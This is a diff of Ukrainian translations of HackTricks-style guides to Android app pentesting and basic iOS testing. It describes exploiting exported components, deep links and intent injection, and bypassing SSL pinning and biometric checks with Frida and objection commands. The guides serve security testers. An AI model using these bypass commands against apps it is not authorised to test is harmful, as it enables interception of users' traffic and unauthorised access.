- Завжди **виконуйте перевірку введення** на дані, отримані з зовнішнього зберігання. Це важливо, оскільки дані надходять з ненадійного джерела.
|
||||
- Зберігання виконуваних файлів або клас-файлів на зовнішньому зберіганні для динамічного завантаження категорично не рекомендується.
|
||||
- Зберігання виконуваних файлів або класів на зовнішньому зберіганні для динамічного завантаження категорично не рекомендується.
|
||||
- Якщо ваша програма повинна отримувати виконувані файли з зовнішнього зберігання, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед їх динамічним завантаженням. Цей крок є важливим для підтримки цілісності безпеки вашої програми.
|
||||
|
||||
Зовнішнє зберігання може бути **доступним** у `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
@ -139,7 +139,7 @@ android-task-hijacking.md
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Добрий спосіб протестувати це - спробувати захопити трафік, використовуючи проксі, наприклад, Burp, не авторизуючи CA Burp на пристрої. Також ви можете згенерувати з Burp сертифікат для іншого імені хоста та використовувати його.
|
||||
Добрий спосіб протестувати це - спробувати захопити трафік, використовуючи проксі, як Burp, без авторизації CA Burp на пристрої. Також ви можете згенерувати з Burp сертифікат для іншого імені хоста та використовувати його.
|
||||
|
||||
### Ламана криптографія
|
||||
|
||||
@ -153,8 +153,8 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
### Інші перевірки
|
||||
|
||||
- Рекомендується **обфускувати APK**, щоб ускладнити реверс-інженерні роботи для зловмисників.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи пристрій з рутом**, і діяти відповідно.
|
||||
- Рекомендується **обфускувати APK**, щоб ускладнити реверс-інженеринг для зловмисників.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи пристрій є рутованим**, і діяти відповідно.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
|
||||
- Якщо додаток є чутливим (наприклад, банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
|
||||
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK
|
||||
@ -177,7 +177,7 @@ react-native-application.md
|
||||
|
||||
### Суперупаковані додатки
|
||||
|
||||
Згідно з цим [**блогом**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) суперупаковані - це алгоритм Meta, який стискає вміст додатка в один файл. Блог говорить про можливість створення додатка, який розпаковує такі додатки... і швидший спосіб, який передбачає **виконання додатка та збір розпакованих файлів з файлової системи.**
|
||||
Згідно з цим [**блогом**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) суперупаковані - це мета-алгоритм, який стискає вміст додатка в один файл. Блог говорить про можливість створення додатка, який розпаковує такі додатки... і швидший спосіб, який передбачає **виконання додатка та збір розпакованих файлів з файлової системи.**
|
||||
|
||||
### Автоматизований статичний аналіз коду
|
||||
|
||||
@ -214,13 +214,13 @@ content-protocol.md
|
||||
|
||||
## Динамічний аналіз
|
||||
|
||||
> По-перше, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат Burp CA, Drozer і Frida в основному). Тому настійно рекомендується використовувати пристрій з рутом (емулятор або ні).
|
||||
> По-перше, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат Burp CA, Drozer і Frida в основному). Тому рутований пристрій (емулятор чи ні) є надзвичайно рекомендованим.
|
||||
|
||||
### Онлайн динамічний аналіз
|
||||
|
||||
Ви можете створити **безкоштовний обліковий запис** на: [https://appetize.io/](https://appetize.io). Ця платформа дозволяє вам **завантажувати** та **виконувати** APK, тому вона корисна для того, щоб побачити, як веде себе apk.
|
||||
|
||||
Ви навіть можете **бачити журнали вашого додатка** в Інтернеті та підключатися через **adb**.
|
||||
Ви навіть можете **бачити журнали вашого додатка** в вебі та підключатися через **adb**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -230,14 +230,14 @@ content-protocol.md
|
||||
|
||||
#### Використання емулятора
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності повільного емулятора arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності в повільному емуляторі arm).
|
||||
- Дізнайтеся, як налаштувати його на цій сторінці:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Безкоштовна версія:** Особисте видання, вам потрібно створити обліковий запис. _Рекомендується **завантажити** версію **З** _ _**VirtualBox**, щоб уникнути потенційних помилок._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Безкоштовна версія:** Особисте видання, вам потрібно створити обліковий запис. _Рекомендується **завантажити** версію **З** _**VirtualBox**, щоб уникнути потенційних помилок._)
|
||||
- [**Nox**](https://es.bignox.com) (Безкоштовно, але не підтримує Frida або Drozer).
|
||||
|
||||
> [!NOTE]
|
||||
@ -247,7 +247,7 @@ avd-android-virtual-device.md
|
||||
|
||||
.png>)
|
||||
|
||||
Також зверніть увагу, що в **налаштуваннях Android VM в Genymotion** ви можете вибрати **Bridge Network mode** (це буде корисно, якщо ви будете підключатися до Android VM з іншої VM з інструментами).
|
||||
Також зверніть увагу, що в **конфігурації Android VM в Genymotion** ви можете вибрати **Bridge Network mode** (це буде корисно, якщо ви будете підключатися до Android VM з іншої VM з інструментами).
|
||||
|
||||
#### Використання фізичного пристрою
|
||||
|
||||
@ -259,26 +259,26 @@ avd-android-virtual-device.md
|
||||
4. Натисніть **Номер збірки** 7 разів.
|
||||
5. Поверніться назад, і ви знайдете **Опції розробника**.
|
||||
|
||||
> Після того, як ви встановили додаток, перше, що вам слід зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
|
||||
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **вивчити, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
|
||||
> Після встановлення додатка перше, що ви повинні зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
|
||||
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **дізнатися, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
|
||||
|
||||
### Ненавмисний витік даних
|
||||
|
||||
**Журналювання**
|
||||
**Логування**
|
||||
|
||||
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів додатка, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що з **пізніших версій Android 4.0** **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
|
||||
> Зверніть увагу, що з **пізніми версіями Android 4.0** **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
|
||||
> Тим не менш, все ще рекомендується **не записувати чутливу інформацію**.
|
||||
|
||||
**Кешування буфера копіювання/вставки**
|
||||
|
||||
Фреймворк Android на основі **буфера обміну** дозволяє функціональність копіювання-вставки в додатках, але це створює ризик, оскільки **інші додатки** можуть **отримати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих розділів додатка, таких як дані кредитних карток, щоб запобігти витоку даних.
|
||||
Фреймворк Android на основі **буфера обміну** дозволяє функціональність копіювання-вставки в додатках, але несе ризик, оскільки **інші додатки** можуть **отримувати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих розділів додатка, таких як дані кредитних карток, щоб запобігти витоку даних.
|
||||
|
||||
**Журнали аварій**
|
||||
|
||||
Якщо додаток **виникає аварія** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
Якщо додаток **зависає** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
|
||||
Як пентестер, **слідкуйте за цими журналами**.
|
||||
|
||||
@ -288,7 +288,7 @@ avd-android-virtual-device.md
|
||||
|
||||
### SQLite БД
|
||||
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, які були створені, назви **таблиць** та **стовпців** і всі **дані**, які зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, що створюються, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, наприклад, `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Якщо база даних зберігає конфіденційну інформацію і є **зашифрованою**, але ви можете **знайти** **пароль** всередині додатка, це все ще є **вразливістю**.
|
||||
@ -297,7 +297,7 @@ avd-android-virtual-device.md
|
||||
|
||||
### Drozer (Експлуатація активностей, постачальників контенту та сервісів)
|
||||
|
||||
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного зв'язку (IPC) Android та взаємодіяти з основною операційною системою.\
|
||||
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного спілкування (IPC) Android і взаємодіяти з основною операційною системою.\
|
||||
Drozer є корисним інструментом для **експлуатації експортованих активностей, експортованих сервісів та постачальників контенту**, як ви дізнаєтеся в наступних розділах.
|
||||
|
||||
### Експлуатація експортованих активностей
|
||||
@ -307,7 +307,7 @@ Drozer є корисним інструментом для **експлуата
|
||||
|
||||
**Обхід авторизації**
|
||||
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **авторизації**, щоб отримати до неї доступ.
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **автентифікації**, щоб отримати до неї доступ.
|
||||
|
||||
[**Дізнайтеся, як експлуатувати експортовані активності за допомогою Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -318,10 +318,10 @@ Drozer є корисним інструментом для **експлуата
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF виявить використання _**singleTask/singleInstance**_ як `android:launchMode` в активності як шкідливе, але через [це](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, це небезпечно лише на старих версіях (версії API < 21).
|
||||
**NOTE**: MobSF виявить використання _**singleTask/singleInstance**_ як `android:launchMode` в активності як шкідливе, але через [це](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, що це небезпечно лише на старих версіях (версії API < 21).
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що обхід авторизації не завжди є вразливістю, це залежить від того, як працює обхід і яка інформація піддається розкриттю.
|
||||
> Зверніть увагу, що обхід авторизації не завжди є вразливістю, це залежить від того, як працює обхід і яка інформація підлягає розкриттю.
|
||||
|
||||
**Витік чутливої інформації**
|
||||
|
||||
@ -343,7 +343,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
[**Прочитайте це, якщо хочете освіжити знання про сервіс.**](android-applications-basics.md#services)\
|
||||
Пам'ятайте, що дії сервісу починаються в методі `onStartCommand`.
|
||||
|
||||
Сервіс в основному є чимось, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тоді, якщо програма експортує деякі сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** його **динамічно** для витягування конфіденційної інформації, обходу заходів аутентифікації...\
|
||||
Сервіс в основному є чимось, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тому, якщо програма експортує деякі сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** його **динамічно** для витягування конфіденційної інформації, обходу заходів аутентифікації...\
|
||||
[**Дізнайтеся, як експлуатувати сервіси за допомогою Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Експлуатація приймачів трансляцій**
|
||||
@ -368,9 +368,9 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**Код, що виконується**
|
||||
**Виконаний код**
|
||||
|
||||
Щоб знайти **код, який буде виконуватися в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
Щоб знайти **код, який буде виконаний в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
@ -381,7 +381,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
**Параметри в шляху**
|
||||
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без токена CSRF, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині програми, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без токена CSRF, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Більше прикладів**
|
||||
|
||||
@ -405,16 +405,16 @@ SSL Pinning - це захід безпеки, при якому додаток
|
||||
|
||||
Щоб перевірити HTTP-трафік, необхідно **встановити сертифікат проксі-інструменту** (наприклад, Burp). Без встановлення цього сертифіката зашифрований трафік може бути невидимим через проксі. Для посібника з установки власного сертифіката CA, [**натисніть тут**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Додатки, що націлені на **API Level 24 і вище**, вимагають модифікацій конфігурації безпеки мережі для прийняття сертифіката CA проксі. Цей крок є критично важливим для перевірки зашифрованого трафіку. Для інструкцій щодо модифікації конфігурації безпеки мережі, [**зверніться до цього посібника**](make-apk-accept-ca-certificate.md).
|
||||
Додатки, які націлені на **API Level 24 і вище**, вимагають модифікацій конфігурації безпеки мережі, щоб приймати сертифікат CA проксі. Цей крок є критично важливим для перевірки зашифрованого трафіку. Для інструкцій щодо модифікації конфігурації безпеки мережі, [**зверніться до цього посібника**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Обхід SSL Pinning
|
||||
|
||||
Коли впроваджено SSL Pinning, обхід його стає необхідним для перевірки HTTPS-трафіку. Для цього доступні різні методи:
|
||||
|
||||
- Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найкраща перевага цього варіанту в тому, що вам не знадобиться root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацьовує.
|
||||
- Ви можете використовувати **Frida** (обговорюється нижче), щоб обійти цю захист. Ось посібник з використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найкраща перевага цього варіанту полягає в тому, що вам не знадобиться root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацьовує.
|
||||
- Ви можете використовувати **Frida** (обговорюється нижче), щоб обійти цей захист. Ось посібник з використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи **MobSF динамічний аналіз** (пояснюється нижче)
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи **MobSF динамічний аналіз** (пояснено нижче)
|
||||
- Якщо ви все ще вважаєте, що є якийсь трафік, який ви не захоплюєте, ви можете спробувати **переслати трафік до burp, використовуючи iptables**. Прочитайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Пошук загальних веб-вразливостей
|
||||
@ -427,7 +427,7 @@ SSL Pinning - це захід безпеки, при якому додаток
|
||||
**Ви можете отримати доступ до працюючого додатку та підключати методи в реальному часі, щоб змінити поведінку, змінити значення, витягти значення, виконати різний код...**\
|
||||
Якщо ви хочете провести тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
|
||||
|
||||
- Дізнайтеся, як використовувати Frida: [**посібник Frida**](frida-tutorial/)
|
||||
- Дізнайтеся, як використовувати Frida: [**Посібник з Frida**](frida-tutorial/index.html)
|
||||
- Деякі "GUI" для дій з Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection чудово підходить для автоматизації використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ви можете знайти деякі чудові скрипти Frida тут: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
@ -468,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Фонові зображення**
|
||||
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатка**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатка**, тому, коли він відновлюється на передній план, починає завантажувати зображення перед додатком, щоб здавалося, що додаток завантажився швидше.
|
||||
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до нього).
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до неї).
|
||||
|
||||
Знімки зазвичай зберігаються за адресою: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна обробляється як безпечний, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна вважається безпечним, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -486,14 +486,14 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі широкомовлення, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
|
||||
|
||||
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)`, а потім виконує їх, що може призвести до зловмисних ін'єкцій Намір.
|
||||
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` за допомогою `Intent.parseUri(...)`, а потім виконує їх, що може призвести до зловмисних ін'єкцій Намір.
|
||||
|
||||
### Основні висновки
|
||||
|
||||
- **Ін'єкція намірів** подібна до проблеми відкритого перенаправлення в вебі.
|
||||
- Експлойти включають передачу об'єктів `Intent` як додаткових параметрів, які можуть бути перенаправлені для виконання небезпечних операцій.
|
||||
- Це може відкрити неекспортовані компоненти та постачальників контенту для зловмисників.
|
||||
- Перетворення URL в `Intent` у `WebView` може сприяти ненавмисним діям.
|
||||
- Перетворення URL-адреси `WebView` на `Intent` може сприяти ненавмисним діям.
|
||||
|
||||
### Ін'єкції на стороні клієнта Android та інші
|
||||
|
||||
@ -542,7 +542,7 @@ MobSF також дозволяє вам **diff/Compare** аналіз і інт
|
||||
MobSF також може **викликати експортовані активності**, захоплювати **скріншоти** з них і **зберігати** їх для звіту.
|
||||
|
||||
Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити журнали, згенеровані скриптами Frida, і "**Live API Monitor**", щоб побачити всі виклики до підключених методів, передані аргументи та повернені значення (це з'явиться після натискання "Start Instrumentation").\
|
||||
MobSF також дозволяє вам завантажувати власні **Frida скрипти** (щоб надіслати результати ваших скриптів Frida до MobSF, використовуйте функцію `send()`). Він також має **кілька попередньо написаних скриптів**, які ви можете завантажити (ви можете додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **виберіть їх**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (ви зможете бачити журнали цих скриптів у "**Frida Live Logs**").
|
||||
MobSF також дозволяє вам завантажувати свої власні **Frida скрипти** (щоб надіслати результати ваших скриптів Frida до MobSF, використовуйте функцію `send()`). Він також має **кілька попередньо написаних скриптів**, які ви можете завантажити (ви можете додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **виберіть їх**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (ви зможете бачити журнали цих скриптів у "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
@ -550,10 +550,10 @@ MobSF також дозволяє вам завантажувати власні
|
||||
|
||||
- **Перерахувати завантажені класи**: Він виведе всі завантажені класи
|
||||
- **Захопити рядки**: Він виведе всі захоплені рядки під час використання програми (дуже шумно)
|
||||
- **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, що порівнюються** і чи був результат True чи False.
|
||||
- **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, що порівнюються** і чи був результат True або False.
|
||||
- **Перерахувати методи класу**: Введіть ім'я класу (наприклад, "java.io.File") і він виведе всі методи класу.
|
||||
- **Шукати шаблон класу**: Шукати класи за шаблоном
|
||||
- **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android Api.
|
||||
- **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android API.
|
||||
|
||||
Якщо ви вибрали допоміжний модуль, який хочете використовувати, вам потрібно натиснути "**Start Intrumentation**" і ви побачите всі виходи в "**Frida Live Logs**".
|
||||
|
||||
@ -595,7 +595,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних із безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних з безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -627,7 +627,7 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn - це **кросплатформений** інструмент, який допомагає розробникам, шукачам вразливостей та етичним хакерам виконувати [статичний аналіз коду](https://en.wikipedia.org/wiki/Static_program_analysis) мобільних додатків.
|
||||
StaCoAn - це **кросплатформений** інструмент, який допомагає розробникам, дослідникам у сфері безпеки та етичним хакерам виконувати [статичний аналіз коду](https://en.wikipedia.org/wiki/Static_program_analysis) мобільних додатків.
|
||||
|
||||
Концепція полягає в тому, що ви перетягуєте файл вашого мобільного додатку (файл .apk або .ipa) на додаток StaCoAn, і він створить для вас візуальний та портативний звіт. Ви можете налаштувати параметри та словники для отримання індивідуального досвіду.
|
||||
|
||||
|
@ -1,18 +1,18 @@
|
||||
# iOS Основні Операції Тестування
|
||||
# iOS Basic Testing Operations
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Резюме Ідентифікації та Доступу до Пристроїв iOS**
|
||||
## **Summary of iOS Device Identification and Access**
|
||||
|
||||
### **Ідентифікація UDID Пристрою iOS**
|
||||
### **Identifying the UDID of an iOS Device**
|
||||
|
||||
Для унікальної ідентифікації пристрою iOS використовується 40-значна послідовність, відома як UDID. На macOS Catalina або новіших версіях це можна знайти в додатку **Finder**, оскільки iTunes більше не присутній. Пристрій, підключений через USB і вибраний у Finder, показує свій UDID серед іншої інформації, коли натискають на деталі під його назвою.
|
||||
Щоб унікально ідентифікувати пристрій iOS, використовується 40-значна послідовність, відома як UDID. На macOS Catalina або новіших версіях це можна знайти в додатку **Finder**, оскільки iTunes більше не присутній. Пристрій, підключений через USB і вибраний у Finder, показує свій UDID серед іншої інформації, коли натискають на деталі під його назвою.
|
||||
|
||||
Для версій macOS до Catalina iTunes полегшує виявлення UDID. Докладні інструкції можна знайти [тут](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
Для версій macOS до Catalina iTunes полегшує виявлення UDID. Докладні інструкції можна знайти [here](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
|
||||
Командні інструменти пропонують альтернативні методи для отримання UDID:
|
||||
|
||||
- **Використовуючи інструмент I/O Registry Explorer `ioreg`:**
|
||||
- **Using I/O Registry Explorer tool `ioreg`:**
|
||||
```bash
|
||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||
```
|
||||
@ -38,17 +38,17 @@ $ instruments -s devices
|
||||
$ iproxy 2222 22
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
**Додатки оболонки на пристрої**, такі як NewTerm 2, полегшують безпосередню взаємодію з пристроєм, що особливо корисно для усунення неполадок. **Зворотні SSH оболонки** також можуть бути встановлені для віддаленого доступу з комп'ютера-хоста.
|
||||
